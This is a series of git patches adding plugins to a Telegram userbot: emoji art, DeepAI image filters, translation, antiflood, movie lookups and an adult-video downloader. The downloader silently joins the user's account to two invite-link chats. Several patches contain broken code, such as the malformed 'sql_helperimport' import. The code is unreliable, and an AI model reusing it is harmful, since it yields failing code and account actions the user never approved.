+ m = " Get Well Soon ! "
+ a = giveVar[-1:]
+ if a=="s":
+ a = "🌹"
+ elif not a:
+ a = "🌹"
+ await event.edit(
+ f"{a}{a}{a}{a}{a}{a}{a} \n{a} {m} {a}\n{a}{a}{a}{a}{a}{a}{a}"
+ )
+@borg.on(admin_cmd(pattern=r"hii ?(.*)"))
+async def hii(event):
+ giveVar = event.text
+ a = giveVar[5:6]
+ if not a:
+ a = "🌺"
+ b = giveVar[7:8]
+ if not b:
+ b = "✨"
+ await event.edit(
+ f"{b}{a}{b}{b}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{b}{b}\n{b}{a}{a}{a}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}"
+ )
+@borg.on(admin_cmd(pattern=r"hlo ?(.*)"))
+async def hlo(event):
+ giveVar = event.text
+ a = giveVar[5:6]
+ if not a:
+ a = "🌺"
+ b = giveVar[7:8]
+ if not b:
+ b = "✨"
+ await event.edit(
+ f"{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{a}{a}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{a}{a}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{a}{a}{a}{b}{a}{a}{a}{a}{b}"
+ )
+@borg.on(admin_cmd(pattern=r"bye ?(.*)"))
+async def bye(event):
+ giveVar = event.text
+ a = giveVar[5:6]
+ if not a:
+ a = "✨"
+ b = giveVar[7:8]
+ if not b:
+ b = "🌺"
+ await event.edit(
+ f"{a}{b}{b}{a}{a}{b}{a}{a}{a}{b}{a}{b}{b}{b}{a}\n{a}{b}{a}{b}{a}{a}{b}{a}{b}{a}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{a}{a}{a}{b}{a}{a}{a}{b}{b}{a}{a}\n{a}{b}{a}{b}{a}{a}{a}{b}{a}{a}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{a}{a}{a}{b}{a}{a}{a}{b}{b}{b}{a}"
+ )
+CMD_HELP.update(
+ {
+ "customs": "__**PLUGIN NAME :** Custom animations__\
+ \n\n📌** CMD ★** `.hhi(emoji)(emoji)`\
+ \n**USAGE ★ **Try it yourself (put space ) \
+ \n\n📌** CMD ★** `.hhi(emoji)(emoji)`\
+ \n**USAGE ★ **Try it yourself (put space )\
+ \n\n📌** CMD ★** `.gws(emoji)`\
+ \n**USAGE ★ **Try it yourself (put space )\
+ \n\n📌** CMD ★** `.hlo(emoji)(emoji)`\
+ \n**USAGE ★ **Try it yourself (put space )\
+ \n\n📌** CMD ★** `.bye(emoji)(emoji)`\
+ \n**USAGE ★ **Try it yourself (put space )"
+ }
+)
From 700557c63b8d79f892c352a9039ca34ae6fd1e40 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:11:19 +0530
Subject: [PATCH 063/838] Create imageenc.py
---
fridaybot/modules/imageenc.py | 91 +++++++++++++++++++++++++++++++++++
1 file changed, 91 insertions(+)
create mode 100644 fridaybot/modules/imageenc.py
diff --git a/fridaybot/modules/imageenc.py b/fridaybot/modules/imageenc.py
new file mode 100644
index 00000000..244f2250
--- /dev/null
+++ b/fridaybot/modules/imageenc.py
@@ -0,0 +1,91 @@
+# Made for DARK COBRA
+# Thanks to @THE_B_LACK_HAT
+# Fixed and Edited by @danish_00
+# Kang with credits else gay..
+
+from telethon.tl.types import MessageMediaPhoto
+import os, urllib, requests, re, asyncio
+from ..utils import admin_cmd
+from fridaybot import CMD_HELP, ALIVE_NAME
+from fridaybot import bot
+from fridaybot import bot as borg
+DARKCOBRA = os.environ.get("DEEP_AI", "quickstart-QUdJIGlzIGNvbWluZy4uLi4K")
+
+KANG_KAREGA_MC = str(ALIVE_NAME) if ALIVE_NAME else "nikal Mc"
+@bot.on(admin_cmd(pattern="enc ?(.*)", outgoing=True))#hehe
+async def _(event):
+ reply = await event.get_reply_message()
+ if not reply:
+
+ return await event.edit(
+ "Reply to any image or non animated sticker !"
+ )
+
+ input_str = event.pattern_match.group(1)
+ hm = input_str
+ devent = await event.edit("yo let me downlaoad it....")
+ media = await event.client.download_media(reply)
+ if not media.endswith(("png", "jpg", "webp")):
+ return await event.edit(
+ "Reply to any image or non animated sticker !"
+ )
+
+ if input_str:
+ devent = await event.edit("styling the image sar...")
+ r = requests.post(
+ "https://api.deepai.org/api/neural-style",
+ files={
+ 'style': f"{hm}",
+ 'content': open(media, "rb"),
+ },
+ headers={"api-key": DARKCOBRA},
+ )
+
+ os.remove(media)
+ if "status" in r.json():
+ return await devent.edit( r.json()["status"])
+ r_json = r.json()['output_url']
+ pic_id = r.json()['id']
+
+ link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg"
+ result = f"{r_json}"
+
+ await devent.delete()
+ await borg.send_message(
+ event.chat_id,
+ file=result)
+
+ else:
+ devent = await event.edit("styling the image sar...")
+ r = requests.post(
+ "https://api.deepai.org/api/neural-style",
+ files={
+ 'style': 'https://telegra.ph/file/aaaa686bd3acff51208d7.jpg',
+ 'content': open(media, "rb"),
+ },
+ headers={"api-key": DARKCOBRA},
+ )
+
+ os.remove(media)
+ if "status" in r.json():
+ return await devent.edit( r.json()["status"])
+ r_json = r.json()['output_url']
+ pic_id = r.json()['id']
+
+ link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg"
+ result = f"{r_json}"
+
+ await devent.delete()
+ await borg.send_message(
+ event.chat_id,
+ file=result)
+
+
+CMD_HELP.update(
+ {
+ "imgenc":
+ ".enc "
+ "\nIt enhancerize any anime pic (Note :-if its not working then go to deepai.org then get api and set var DEEP_AI nd key.)"
+ })
+
+#hehe
From 45c5b9d58f241db6221a49d0c60196d6e8ca4f9e Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:14:03 +0530
Subject: [PATCH 064/838] Create addnote.py
---
fridaybot/modules/addnote.py | 12 ++++++++++++
1 file changed, 12 insertions(+)
create mode 100644 fridaybot/modules/addnote.py
diff --git a/fridaybot/modules/addnote.py b/fridaybot/modules/addnote.py
new file mode 100644
index 00000000..4adee62f
--- /dev/null
+++ b/fridaybot/modules/addnote.py
@@ -0,0 +1,12 @@
+from telethon import events
+import asyncio
+import os
+import sys
+
+@borg.on(events.NewMessage(pattern=r"^.addnote (.*)", outgoing=True))
+async def test(event):
+ if event.fwd_from:
+ return
+ uwu = event.pattern_match.group(1)
+ await event.edit("Added note to Evernote".format(uwu))
+ await borg.send_message("@ifttt", "#note {}".format(uwu))
From 633a8667da8377036575e148d0203c4029adeebf Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:15:27 +0530
Subject: [PATCH 065/838] Create prankpromote.py
---
fridaybot/modules/prankpromote.py | 66 +++++++++++++++++++++++++++++++
1 file changed, 66 insertions(+)
create mode 100644 fridaybot/modules/prankpromote.py
diff --git a/fridaybot/modules/prankpromote.py b/fridaybot/modules/prankpromote.py
new file mode 100644
index 00000000..896e1066
--- /dev/null
+++ b/fridaybot/modules/prankpromote.py
@@ -0,0 +1,66 @@
+"""Reply to a user to .promote them in the current chat"""
+import logging
+logging.basicConfig(format='[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s',
+ level=logging.WARNING)
+from telethon import events
+import asyncio
+from datetime import datetime
+from telethon.tl.functions.channels import EditAdminRequest
+from telethon.tl.types import ChatAdminRights
+from ..utils import admin_cmd
+
+
+"""
+@borg.on(admin_cmd(pattern="promote ?(.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ start = datetime.now()
+ to_promote_id = None
+ rights = ChatAdminRights(
+ change_info=True,
+ post_messages=True,
+ edit_messages=True,
+ delete_messages=True,
+ ban_users=True,
+ invite_users=True,
+ pin_messages=True,
+ add_admins=True,
+ )
+ input_str = event.pattern_match.group(1)
+ reply_msg_id = event.message.id
+ if reply_msg_id:
+ r_mesg = await event.get_reply_message()
+ to_promote_id = r_mesg.sender_id
+ elif input_str:
+ to_promote_id = input_str
+ try:
+ await borg(EditAdminRequest(event.chat_id, to_promote_id, rights, ""))
+ except (Exception) as exc:
+ await event.edit(str(exc))
+ else:
+ await event.edit("Successfully Promoted")
+"""
+
+@borg.on(admin_cmd(pattern="prankpromote ?(.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ start = datetime.now()
+ to_promote_id = None
+ rights = ChatAdminRights(
+ post_messages=True
+ )
+ input_str = event.pattern_match.group(1)
+ reply_msg_id = event.message.id
+ if reply_msg_id:
+ r_mesg = await event.get_reply_message()
+ to_promote_id = r_mesg.sender_id
+ elif input_str:
+ to_promote_id = input_str
+ try:
+ await borg(EditAdminRequest(event.chat_id, to_promote_id, rights, ""))
+ except (Exception) as exc:
+ await event.edit(str(exc))
+ else:
+ await event.edit("Successfully Promoted")
From be6cd6bb99a4fcba83ef78c109df1826d9e170af Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:20:17 +0530
Subject: [PATCH 066/838] Update antiflood.py
---
fridaybot/modules/antiflood.py | 68 ++++++++++++++++------------------
1 file changed, 32 insertions(+), 36 deletions(-)
diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py
index 81d42924..a59467d2 100644
--- a/fridaybot/modules/antiflood.py
+++ b/fridaybot/modules/antiflood.py
@@ -1,82 +1,78 @@
import asyncio
-
+from telethon import events
from telethon.tl.functions.channels import EditBannedRequest
from telethon.tl.types import ChatBannedRights
-
-from .sql_helper import floodsql as sql
-
+from ..utils import admin_cmd
+from fridaybot.modules.sql_helperimport flood_sql as sql
+import fridaybot.utils
+from fridaybot.utils import humanbytes, progress, time_formatter
from fridaybot import CMD_HELP
-from ..utils import admin_cmd, edit_or_reply, sudo_cmd
CHAT_FLOOD = sql.__load_flood_settings()
# warn mode for anti flood
ANTI_FLOOD_WARN_MODE = ChatBannedRights(
- until_date=None, view_messages=None, send_messages=True
+ until_date=None,
+ view_messages=None,
+ send_messages=True
)
-@bot.on(admin_cmd(incoming=True))
+@borg.on(admin_cmd(incoming=True))
async def _(event):
+ # logger.info(CHAT_FLOOD)
if not CHAT_FLOOD:
return
- if str(event.chat_id) not in CHAT_FLOOD:
+ if not (str(event.chat_id) in CHAT_FLOOD):
return
- should_ban = sql.update_flood(event.chat_id, event.message.sender_id)
+ # TODO: exempt admins from this
+ should_ban = sql.update_flood(event.chat_id, event.message.from_id)
if not should_ban:
return
try:
- await event.client(
- EditBannedRequest(
- event.chat_id, event.message.sender_id, ANTI_FLOOD_WARN_MODE
- )
- )
+ await event.client(EditBannedRequest(
+ event.chat_id,
+ event.message.from_id,
+ ANTI_FLOOD_WARN_MODE
+ ))
except Exception as e: # pylint:disable=C0103,W0703
no_admin_privilege_message = await event.client.send_message(
entity=event.chat_id,
message="""**Automatic AntiFlooder**
@admin [User](tg://user?id={}) is flooding this chat.
-`{}`""".format(
- event.message.sender_id, str(e)
- ),
- reply_to=event.message.id,
+`{}`""".format(event.message.from_id, str(e)),
+ reply_to=event.message.id
)
await asyncio.sleep(10)
await no_admin_privilege_message.edit(
- "This is useless SPAM dude. Stop this, enjoy chat man ", link_preview=False
+ "This is useless SPAM dude . stop this enjoy chat man ",
+ link_preview=False
)
else:
await event.client.send_message(
entity=event.chat_id,
message="""**Automatic AntiFlooder**
[User](tg://user?id={}) has been automatically restricted
-because he reached the defined flood limit.""".format(
- event.message.sender_id
- ),
- reply_to=event.message.id,
+because he reached the defined flood limit.""".format(event.message.from_id),
+ reply_to=event.message.id
)
-@bot.on(admin_cmd(pattern="setflood(?: |$)(.*)"))
-@bot.on(sudo_cmd(pattern="setflood(?: |$)(.*)", allow_sudo=True))
+@borg.on(admin_cmd(pattern="setflood (.*)"))
async def _(event):
if event.fwd_from:
return
input_str = event.pattern_match.group(1)
- event = await edit_or_reply(event, "updating flood settings!")
try:
sql.set_flood(event.chat_id, input_str)
- sql.__load_flood_settings()
- await event.edit(
- "Antiflood updated to {} in the current chat".format(input_str)
- )
+ CHAT_FLOOD = sql.__load_flood_settings()
+ await event.edit("Antiflood updated to {} in the current chat".format(input_str))
except Exception as e: # pylint:disable=C0103,W0703
await event.edit(str(e))
-CMD_HELP.update(
- {
- "antiflood": ".setflood [number]\
-\nUsage: warns the user if he spams the chat and if you are an admin then it mutes him in that group.\
+CMD_HELP.update({
+ "antiflood":
+ ".setflood [number]\
+\nUsage: warns the user if he spams the chat if you are admin mutes him in that group .\
"
- }
-)
+})
From 84a5a49456d188d02971e0395be4363a415cb69e Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:21:58 +0530
Subject: [PATCH 067/838] Update floodsql.py
---
fridaybot/modules/sql_helper/floodsql.py | 33 +++++++++++++-----------
1 file changed, 18 insertions(+), 15 deletions(-)
diff --git a/fridaybot/modules/sql_helper/floodsql.py b/fridaybot/modules/sql_helper/floodsql.py
index b1b5436f..a482ea9e 100644
--- a/fridaybot/modules/sql_helper/floodsql.py
+++ b/fridaybot/modules/sql_helper/floodsql.py
@@ -46,23 +46,24 @@ def set_flood(chat_id, amount):
def update_flood(chat_id: str, user_id) -> bool:
- if str(chat_id) not in CHAT_FLOOD:
- return
- curr_user_id, count, limit = CHAT_FLOOD.get(str(chat_id), DEF_OBJ)
- if limit == 0: # no antiflood
- return False
- if user_id != curr_user_id or user_id is None: # other user
- CHAT_FLOOD[str(chat_id)] = (user_id, DEF_COUNT + 1, limit)
- return False
+ if str(chat_id) in CHAT_FLOOD:
+ curr_user_id, count, limit = CHAT_FLOOD.get(str(chat_id), DEF_OBJ)
- count += 1
- if count > limit: # too many msgs, kick
- CHAT_FLOOD[str(chat_id)] = (None, DEF_COUNT, limit)
- return True
+ if limit == 0: # no antiflood
+ return False
- # default -> update
- CHAT_FLOOD[str(chat_id)] = (user_id, count, limit)
- return False
+ if user_id != curr_user_id or user_id is None: # other user
+ CHAT_FLOOD[str(chat_id)] = (user_id, DEF_COUNT + 1, limit)
+ return False
+
+ count += 1
+ if count > limit: # too many msgs, kick
+ CHAT_FLOOD[str(chat_id)] = (None, DEF_COUNT, limit)
+ return True
+
+ # default -> update
+ CHAT_FLOOD[str(chat_id)] = (user_id, count, limit)
+ return False
def get_flood_limit(chat_id):
@@ -88,3 +89,5 @@ def __load_flood_settings():
finally:
SESSION.close()
return CHAT_FLOOD
+
+
From 6d0e86546d9c61243d09645e3114c8c209fecd22 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:24:07 +0530
Subject: [PATCH 068/838] Create xtools.py
---
fridaybot/modules/xtools.py | 30 ++++++++++++++++++++++++++++++
1 file changed, 30 insertions(+)
create mode 100644 fridaybot/modules/xtools.py
diff --git a/fridaybot/modules/xtools.py b/fridaybot/modules/xtools.py
new file mode 100644
index 00000000..1e02dad8
--- /dev/null
+++ b/fridaybot/modules/xtools.py
@@ -0,0 +1,30 @@
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+from telethon import events
+from datetime import datetime
+import requests
+from ..util import admin_cmd
+
+
+@borg.on(admin_cmd("xtools (.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ input_str = event.pattern_match.group(1)
+ start = datetime.now()
+ if event.reply_to_msg_id:
+ previous_message = await event.get_reply_message()
+ username = previous_message.message
+ sub_domain = input_str
+ else:
+ sub_domain, username = input_str.split("|")
+ final_url = "https://xtools.wmflabs.org/api/user/simple_editcount/{}.wikipedia.org/{}".format(sub_domain, username)
+ json_string = requests.get(final_url).json()
+ result_text = json_string["liveEditCount"]
+ end = datetime.now()
+ ms = (end - start).seconds
+ output_str = "edit count of {} ({}) in {} seconds. \n {}".format(
+ username, sub_domain, str(ms), result_text)
+ await event.edit(output_str)
From 7513ecc4d5a64c5ad5f2b934840b4dd39f507287 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:26:30 +0530
Subject: [PATCH 069/838] Create pornhubD.py
---
fridaybot/modules/pornhubD.py | 67 +++++++++++++++++++++++++++++++++++
1 file changed, 67 insertions(+)
create mode 100644 fridaybot/modules/pornhubD.py
diff --git a/fridaybot/modules/pornhubD.py b/fridaybot/modules/pornhubD.py
new file mode 100644
index 00000000..129c5d4b
--- /dev/null
+++ b/fridaybot/modules/pornhubD.py
@@ -0,0 +1,67 @@
+"""
+Pornhub downloader by @ceowhitehatcracks
+Syntax: .phd link
+"""
+import datetime
+import asyncio
+import requests
+from bs4 import BeautifulSoup
+import os
+from pySmartDL import SmartDL
+from telethon import events
+from telethon.tl.functions.channels import JoinChannelRequest
+from telethon.errors.rpcerrorlist import YouBlockedUserError, UserAlreadyParticipantError
+from telethon.tl.functions.account import UpdateNotifySettingsRequest
+from telethon.tl.functions.messages import ImportChatInviteRequest
+from ..utils import admin_cmd
+
+@borg.on(admin_cmd("pornhd ?(.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ d_link = event.pattern_match.group(1)
+ bot = "@phsavebot"
+ r = requests.get(d_link)
+ soup = BeautifulSoup(r.content, 'html.parser')
+ temporary_variable = soup.find("span", {"class": "inlineFree"})
+ title = temporary_variable.text
+ temp = soup.find("div", {"class": "thumbnail"})
+ view = soup.find("span", {"class": "count"})
+ views = view.text
+ temporary_variable_to_use = temp.find("img")
+ thumb_image_link = temporary_variable_to_use["data-src"]
+ if "pornhub" not in d_link:
+ await event.edit("` I need a link to download something pro.`**(._.)**")
+ else:
+ await event.edit("**💦Preparing to upload Video💦 **\n**Title**: `{}`\n**Total Views**: `{}`".format(title, views))
+ await asyncio.sleep(2)
+
+
+ async with event.client.conversation("@phsavebot") as conv:
+ try:
+ await conv.send_message("/start")
+ oop = await conv.get_response()
+ if "language" in oop.text:
+ await borg.send_message(event.chat_id, "**Please go to** @phsavebot **and select your language**")
+ await asyncio.sleep(2)
+ me = await borg.get_me()
+ my_id = me.id
+ # Necessary for the bot to work ;-;
+ try:
+ await borg(ImportChatInviteRequest('AAAAAFbNNkKLy3gleaD5sA'))
+ await borg(ImportChatInviteRequest('AAAAAFZPuYvdW1A8mrT8Pg'))
+ except UserAlreadyParticipantError:
+ await asyncio.sleep(0.00000069420)
+ await conv.send_message(d_link)
+ response = await conv.get_response()
+ if "Downloading" in response.text:
+ video_hehe = await conv.get_response()
+ await borg.send_file(event.chat_id, video_hehe, caption="`🤤 Video Uploaded by` [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)!🤤\n**Title:** `{}`".format(title))
+ elif "Unfortunately" in response.text:
+ await event.edit("`Woops, Incorrect link!`\n**Please check and try again.**")
+ elif "correct" in response.text:
+ await borg.send_message(event.chat_id, response.text)
+ except YouBlockedUserError:
+ await event.reply("**Please unblock** @phsavebot **and try again**")
+ return
+
From 6da7e043804766facf12cb1b3eb06901e8c57380 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:28:25 +0530
Subject: [PATCH 070/838] Create classictranslate.py
---
fridaybot/modules/classictranslate.py | 56 +++++++++++++++++++++++++++
1 file changed, 56 insertions(+)
create mode 100644 fridaybot/modules/classictranslate.py
diff --git a/fridaybot/modules/classictranslate.py b/fridaybot/modules/classictranslate.py
new file mode 100644
index 00000000..3896c75c
--- /dev/null
+++ b/fridaybot/modules/classictranslate.py
@@ -0,0 +1,56 @@
+""" Google Translate
+Available Commands:
+.tl LanguageCode as reply to a message
+.tl LangaugeCode | text to translate"""
+
+import emoji
+from asyncio import sleep
+from userbot import CMD_HELP
+from googletrans import Translator
+from ..utils import admin_cmd, sudo_cmd
+
+
+
+@borg.on(admin_cmd("tl ?(.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ if "trim" in event.raw_text:
+ # https://t.me/c/1220993104/192075
+ return
+ input_str = event.pattern_match.group(1)
+ if event.reply_to_msg_id:
+ previous_message = await event.get_reply_message()
+ text = previous_message.message
+ lan = input_str or "en"
+ elif "|" in input_str:
+ lan, text = input_str.split("|")
+ else:
+ await event.edit(".tl LanguageCode as reply to a message")
+ return
+ text = emoji.demojize(text.strip())
+ lan = lan.strip()
+ translator = Translator()
+ try:
+ translated = translator.translate(text, dest=lan)
+ after_tr_text = translated.text
+ # TODO: emojify the :
+ # either here, or before translation
+ output_str = """**Translated Successfully** from {} to {}
+{}""".format(
+ translated.src,
+ lan,
+ after_tr_text
+ )
+ await event.edit(output_str)
+ except Exception as exc:
+ await event.edit(str(exc))
+
+CMD_HELP.update(
+ {
+ "translate": ".tl "
+ "\nUsage: reply any msg with .tr (language code) example .tr en / .tr hi\n\n"
+ ".tl | "
+ "\nUsage: translate text example .tr en|msg (note:- this | mark is important.\n\n"
+ }
+)
From a99f39c711fefec64a4e089bfa1007419ea8b844 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:31:07 +0530
Subject: [PATCH 071/838] Update classictranslate.py
---
fridaybot/modules/classictranslate.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/fridaybot/modules/classictranslate.py b/fridaybot/modules/classictranslate.py
index 3896c75c..7f144d7d 100644
--- a/fridaybot/modules/classictranslate.py
+++ b/fridaybot/modules/classictranslate.py
@@ -5,7 +5,7 @@
import emoji
from asyncio import sleep
-from userbot import CMD_HELP
+from fridaybot import CMD_HELP
from googletrans import Translator
from ..utils import admin_cmd, sudo_cmd
@@ -48,7 +48,7 @@ async def _(event):
CMD_HELP.update(
{
- "translate": ".tl "
+ "Classic translate": ".tl "
"\nUsage: reply any msg with .tr (language code) example .tr en / .tr hi\n\n"
".tl | "
"\nUsage: translate text example .tr en|msg (note:- this | mark is important.\n\n"
From 3533fdf1e41d798121147783696007514e6b26fb Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:32:34 +0530
Subject: [PATCH 072/838] Create toonify.py
---
fridaybot/modules/toonify.py | 60 ++++++++++++++++++++++++++++++++++++
1 file changed, 60 insertions(+)
create mode 100644 fridaybot/modules/toonify.py
diff --git a/fridaybot/modules/toonify.py b/fridaybot/modules/toonify.py
new file mode 100644
index 00000000..c323cbb1
--- /dev/null
+++ b/fridaybot/modules/toonify.py
@@ -0,0 +1,60 @@
+# By @Danish_00
+# Fixed By a NOOB
+# Made for DARK COBRA by team Cobra..
+# kang with credits do not edit these lines..
+
+from telethon.tl.types import MessageMediaPhoto
+import os, urllib, requests, asyncio
+from ..utils import admin_cmd
+from fridaybot import CMD_HELP
+
+DARKCOBRA = Config.DEEP_AI if Config.DEEP_AI else "quickstart-QUdJIGlzIGNvbWluZy4uLi4K"
+@borg.on(admin_cmd(pattern="toonify$", outgoing=True))
+async def _(event):
+
+
+ reply = await event.get_reply_message()
+ if not reply:#By @Danish_00
+#Fixed By a NOOB
+ return await event.edit(
+ "Reply to any image or non animated sticker !"
+ )
+ devent = await event.edit("`Downloading the file😅😁😁....`")
+ media = await event.client.download_media(reply)
+ if not media.endswith(("png", "jpg", "webp")):
+ return await event.edit(
+ "Reply to any image or non animated sticker !"
+ )#By @Danish_00
+#Fixed By a NOOB
+ devent = await event.edit("`Toonifying image 🤪🤣🤓...`")#hehehhehehhe
+ r = requests.post(
+ "https://api.deepai.org/api/toonify",
+ files={
+ "image": open(media, "rb"),
+ },
+ headers={"api-key": DARKCOBRA},
+ )#By @Danish_00
+#Fixed By a NOOB
+ os.remove(media)
+ if "status" in r.json():
+ return await devent.edit( r.json()["status"])
+ r_json = r.json()["output_url"]
+ pic_id = r.json()["id"]
+
+ link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg"
+ result = f"{r_json}"
+
+ await devent.delete()
+ await borg.send_message(#hehehhehehehehheh
+ event.chat_id,
+ file=result
+ )
+
+
+#hehehehehe
+CMD_HELP.update(
+ {
+ "toonify":
+ ".toonify "
+ "\nIt Toonify the face 🤣😂 `(Note :-if its not working then go to deepai.org then get api and set var DEEP_AI nd key.)`"
+ })
From 44800bdff36a243fd6e3535074f69b47fafbb190 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:34:06 +0530
Subject: [PATCH 073/838] Create watch.py
---
fridaybot/modules/watch.py | 111 +++++++++++++++++++++++++++++++++++++
1 file changed, 111 insertions(+)
create mode 100644 fridaybot/modules/watch.py
diff --git a/fridaybot/modules/watch.py b/fridaybot/modules/watch.py
new file mode 100644
index 00000000..7f04f6dc
--- /dev/null
+++ b/fridaybot/modules/watch.py
@@ -0,0 +1,111 @@
+# Uniborg Plugin for getting list of sites where you can watch a particular Movie or TV-Show
+# Author: Sumanjay (https://github.com/cyberboysumanjay) (@cyberboysumanjay)
+# All rights reserved.
+
+#imported from uniborg
+
+
+
+from telethon import events
+import requests
+from ..utils import admin_cmd
+from justwatch import JustWatch
+
+def get_stream_data(query):
+ stream_data = {}
+
+ # Compatibility for Current Userge Users
+ try:
+ country = Config.WATCH_COUNTRY
+ except Exception:
+ country = "IN"
+
+ # Cooking Data
+ just_watch = JustWatch(country = country)
+ results = just_watch.search_for_item(query = query)
+ movie = results['items'][0]
+ stream_data['title'] = movie['title']
+ stream_data['movie_thumb'] = "https://images.justwatch.com"+movie['poster'].replace("{profile}","")+"s592"
+ stream_data['release_year'] = movie['original_release_year']
+ try:
+ print(movie['cinema_release_date'])
+ stream_data['release_date'] = movie['cinema_release_date']
+ except KeyError:
+ try:
+ stream_data['release_date'] = movie['localized_release_date']
+ except KeyError:
+ stream_data['release_date'] = None
+
+ stream_data['type'] = movie['object_type']
+
+ available_streams = {}
+ for provider in movie['offers']:
+ provider_ = get_provider(provider['urls']['standard_web'])
+ available_streams[provider_] = provider['urls']['standard_web']
+
+ stream_data['providers'] = available_streams
+
+ scoring = {}
+ for scorer in movie['scoring']:
+ if scorer['provider_type']=="tmdb:score":
+ scoring['tmdb'] = scorer['value']
+
+ if scorer['provider_type']=="imdb:score":
+ scoring['imdb'] = scorer['value']
+ stream_data['score'] = scoring
+ return stream_data
+
+#Helper Functions
+def pretty(name):
+ if name=="play":
+ name = "Google Play Movies"
+ return name[0].upper()+name[1:]
+
+def get_provider(url):
+ url = url.replace("https://www.","")
+ url = url.replace("https://","")
+ url = url.replace("http://www.","")
+ url = url.replace("http://","")
+ url = url.split(".")[0]
+ return url
+
+@borg.on(admin_cmd(pattern="watch (.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ query = event.pattern_match.group(1)
+ await event.edit("Finding Sites...")
+ streams = get_stream_data(query)
+ title = streams['title']
+ thumb_link = streams['movie_thumb']
+ release_year = streams['release_year']
+ release_date = streams['release_date']
+ scores = streams['score']
+ try:
+ imdb_score = scores['imdb']
+ except KeyError:
+ imdb_score = None
+
+ try:
+ tmdb_score = scores['tmdb']
+ except KeyError:
+ tmdb_score = None
+
+ stream_providers = streams['providers']
+ if release_date is None:
+ release_date = release_year
+
+ output_ = f"**Movie:**\n`{title}`\n**Release Date:**\n`{release_date}`"
+ if imdb_score:
+ output_ = output_ + f"\n**IMDB: **{imdb_score}"
+ if tmdb_score:
+ output_ = output_ + f"\n**TMDB: **{tmdb_score}"
+
+ output_ = output_ + "\n\n**Available on:**\n"
+ for provider,link in stream_providers.items():
+ if 'sonyliv' in link:
+ link = link.replace(" ","%20")
+ output_ += f"[{pretty(provider)}]({link})\n"
+
+ await borg.send_file(event.chat_id, caption=output_, file=thumb_link,force_document=False,allow_cache=False, silent=True)
+ await event.delete()
From bb0ec0eaf03906b841050b9669c1944ed764b195 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:34:29 +0530
Subject: [PATCH 074/838] Update requirements.txt
---
requirements.txt | 1 +
1 file changed, 1 insertion(+)
diff --git a/requirements.txt b/requirements.txt
index 3b8eace4..b27ee599 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -71,3 +71,4 @@ fontTools
PyDictionary
beautifulsoup4
bs4
+justwatch
From b4d2a186e50fedeca58a09f18dfee15de126080f Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 19:38:06 +0530
Subject: [PATCH 075/838] Update antiflood.py
---
fridaybot/modules/antiflood.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/antiflood.py b/fridaybot/modules/antiflood.py
index a59467d2..130d9c52 100644
--- a/fridaybot/modules/antiflood.py
+++ b/fridaybot/modules/antiflood.py
@@ -3,7 +3,7 @@
from telethon.tl.functions.channels import EditBannedRequest
from telethon.tl.types import ChatBannedRights
from ..utils import admin_cmd
-from fridaybot.modules.sql_helperimport flood_sql as sql
+from fridaybot.modules.sql_helperimport floodsql as sql
import fridaybot.utils
from fridaybot.utils import humanbytes, progress, time_formatter
from fridaybot import CMD_HELP
